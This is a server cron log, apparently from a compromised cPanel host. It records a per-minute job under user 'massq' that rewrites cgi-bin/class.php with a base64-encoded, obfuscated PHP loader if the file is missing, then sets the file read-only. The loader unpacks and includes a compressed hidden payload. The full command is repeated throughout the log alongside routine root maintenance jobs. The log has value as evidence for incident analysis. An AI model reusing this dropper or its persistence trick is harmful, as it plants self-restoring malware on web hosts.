Sep 10 15:58:01 server CROND[12500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:58:01 server CROND[12502]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:59:01 server CROND[12869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:59:01 server CROND[12870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:59:01 server CROND[12871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:00:01 server CROND[13247]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:00:01 server CROND[13248]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 16:00:01 server CROND[13253]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 16:00:01 server CROND[13252]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 16:00:01 server CROND[13256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:00:01 server CROND[13254]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 16:00:01 server CROND[13260]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 16:00:01 server CROND[13259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:00:01 server CROND[13261]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:00:01 server CROND[13263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:01:01 server CROND[14097]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:01:01 server CROND[14098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:01:01 server CROND[14099]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 16:01:01 server CROND[14100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:01:01 server run-parts(/etc/cron.hourly)[14099]: starting 0anacron
Sep 10 16:01:01 server run-parts(/etc/cron.hourly)[14118]: finished 0anacron
Sep 10 16:02:01 server CROND[14565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:02:01 server CROND[14566]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:02:01 server CROND[14567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:03:01 server CROND[14929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:03:01 server CROND[14930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:03:01 server CROND[14928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:04:01 server CROND[15305]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:04:01 server CROND[15304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:04:01 server CROND[15306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:05:01 server CROND[15839]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:05:01 server CROND[15841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:05:01 server CROND[15842]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:05:01 server CROND[15844]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 16:05:01 server CROND[15846]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 16:05:01 server CROND[15847]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 16:05:01 server CROND[15845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:05:01 server CROND[15849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:06:01 server CROND[16668]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:06:01 server CROND[16667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:06:01 server CROND[16669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:07:01 server CROND[17035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:07:01 server CROND[17037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:07:01 server CROND[17036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:08:01 server CROND[17402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:08:01 server CROND[17403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:08:01 server CROND[17404]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:09:01 server CROND[17867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:09:01 server CROND[17868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:09:01 server CROND[17869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:09:01 server CROND[17870]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 16:10:01 server CROND[18291]: (root) CMD (/usr/lib64/sa/sa1 1 1)
